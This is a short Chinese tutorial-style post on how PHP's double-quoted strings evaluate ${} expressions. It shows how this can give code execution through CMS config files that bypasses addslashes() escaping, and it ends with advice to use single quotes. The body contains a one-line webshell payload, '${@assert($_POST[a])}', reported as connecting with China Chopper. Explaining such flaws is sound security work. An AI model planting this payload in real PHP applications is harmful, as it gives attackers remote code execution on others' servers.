1|0前言

在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题。

条件:php版本>5.5

2|0正文

举个简单例子

<?php
$a = 1;
$b = 2;
echo '$a$b';//输出结果为$a$b
echo "$a$b";//输出结果为12
?>

可以看到这两个输出的结果并不相同。

在双引号中倘若有${}出现,那么{}内的内容将被当做代码块来执行。

可以看到成功执行了phpinfo()


试想一下,倘若在一个cms的后台,可以修改数据库的配置文件,且配置文件中的值用双引号包括,我们虽然也可以直接闭合代码达到getshell的后果,但是如果cms对传递的参数进行了addlashes()处理的话,我们就无法去闭合代码了,但这时我们可以传入${命令}就可以达到getshell的目的。


现在,让我们来修改一下代码,让我们不只能输出phpinfo

<?php echo "${@assert($_POST[a])}";?> //@是用来防止输出错误信息的


菜刀成功连接

3|0总结

本文简单记录了双引号可能会引发的代码执行的情况
对于这种漏洞的防御,一定要明确单引号与双引号的区别所在,不要简单认为两者是互相可以替代的,在平时的代码书写中能只用单引号一定不要用双引号,毕竟单引号的解释时间也比双引号少得多,代码运行相对更快。

php双引号解析漏洞相关推荐

  1. php双引号表示什么,PHP中的单引号和双引号字符串有什么区别?

    PHP中的单引号和双引号字符串有什么区别? 我不是PHP编程的专家,但我有点困惑为什么我在PHP中看到一些代码用单引号放入字符串,有时用双引号. 我只是在.NET或C语言中知道,如果它是单引号,这意味 ...

  2. php单引号和双引号速度,PHP单引号、双引号用法比较和效率分析

    网上有关php单双引号的分析有很多, 在这里我简单的归纳一下. 1.定义字符串及字符串转义 var $str = 'abc1234'; var $str = "abc1234"; ...

  3. 单引号和双引号的区别

    <------看别人csdn,比较难以理解,还是大白话比较好,对我初学者来说,基础总结很重要------> 1.双引号解析变量,单引号不解析变量:所以单引号的执行效率比双引号要高: 2.双 ...

  4. 在php中单引号和双引号的区别,php中单引号和双引号有什么区别?

    php字符串中的双引号与单引号区别 php 单引号和双引号的区别: 双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符. 例如: $foo = 2; echo "foo ...

  5. Php中单引号双引号包含字符串的区别是,PHP中的单引号和双引号字符串有什么区别?...

    回答(11) 2 years ago PHP strings不仅可以用两种方式指定,而且可以用 four 方式指定 . Single quoted strings几乎完全显示事物"as is ...

  6. C# json解析字符串总是多出双引号_json从立地到成佛

    本文原创作者bigsai(同公众号),本文以浅显易懂的方式给大家讲解自己所认知的json,如果有错误或者不准确地方还请大家给出指正,另外本文以关卡课程的方式在博学谷也是免费开放的,大家也可通过关卡方式 ...

  7. shell 引号 解析 逗号_关于shell的单引号和双引号转义 以及特殊符号相关

    关于shell的单引号和双引号转义 以及特殊符号相关 20140603 Chenxin shell转义,单引号与双引号,反撇号 1.转义 单引号和双引号都能关闭shell对特殊字符的处理. 不同的是, ...

  8. C# json解析字符串总是多出双引号_在JavaScript应用中将CSV转换为JSON

    来源:公众号<前端全栈开发者>(ID:by-zhangbing-dev) 将CSV转换为JSON是一项需要做很多工作的任务,在本文中,我将研究如何使用 csvtojson 模块将CSV转换 ...

  9. C# json解析字符串总是多出双引号_Python小白必备知识:Python字符串详解

    若干个字符的集合就是一个字符串(String).Python 中的字符串必须由双引号" "或者单引号' '包围,具体格式为: "字符串内容" '字符串内容' 字 ...

最新文章

  1. DevExpress Components16.2.6 Source Code 编译
  2. GNU make manual 翻译( 一百一十三)
  3. SQLiteOpenHelper类
  4. 高中计算机老师要教什么条件,应聘高中教师,到底需要什么学历?很多人都不知道!...
  5. 微信公众平台消息接口API指南
  6. word2vec原理(一): 词向量、CBOW与Skip-Gram模型基础
  7. 直播预告 | 双边分支网络BBN:攻坚长尾分布的现实世界任务
  8. selenium 文件上传
  9. 十分钟搞定 C/C++ 项目自动化构建 —— Xmake 入门指南
  10. html+include设置,html中的include标签是什么?htmlinclude实现配置解析
  11. 《OpenStack云计算实战手册(第2版)》——1.4 安装OpenStack身份认证服务
  12. 【Python】Python的urllib模、urllib2模块的网络下载文件
  13. python3 yield_详解Python3中yield生成器的用法
  14. VBA实战代码大全-下载
  15. WinRAR的命令行模式用法介绍
  16. 动手学TCP——CS144实验感想
  17. 15篇文章贯通4级词汇
  18. hadoop 文本统计一个字符的个数_hadoop统计单词个数 - 卡饭网
  19. 微信公众号自定义功能页开发流程
  20. 将pem证书转换为crt/key

热门文章

  1. E95-DTU(4G01-485)数传电台的特点及其应用详解
  2. java 拉丁文 unicode_“java语言使用的是Unicode编码”是指的jvm?.java文件?
  3. smtplib 抄送邮件_用Python收发电子邮件
  4. android 设置资源,Android 资源
  5. 【MFC系列-第16天】企业信息管理软件开发
  6. linux时间路径,关于linux中的时间 时区问题
  7. 【SpringCloud】第五篇: 路由网关(zuul)
  8. Jmeter(二)Jmeter目录介绍
  9. HTML5移动端触摸事件
  10. 深入进货单-价格跟踪----宇然电脑公司管理软件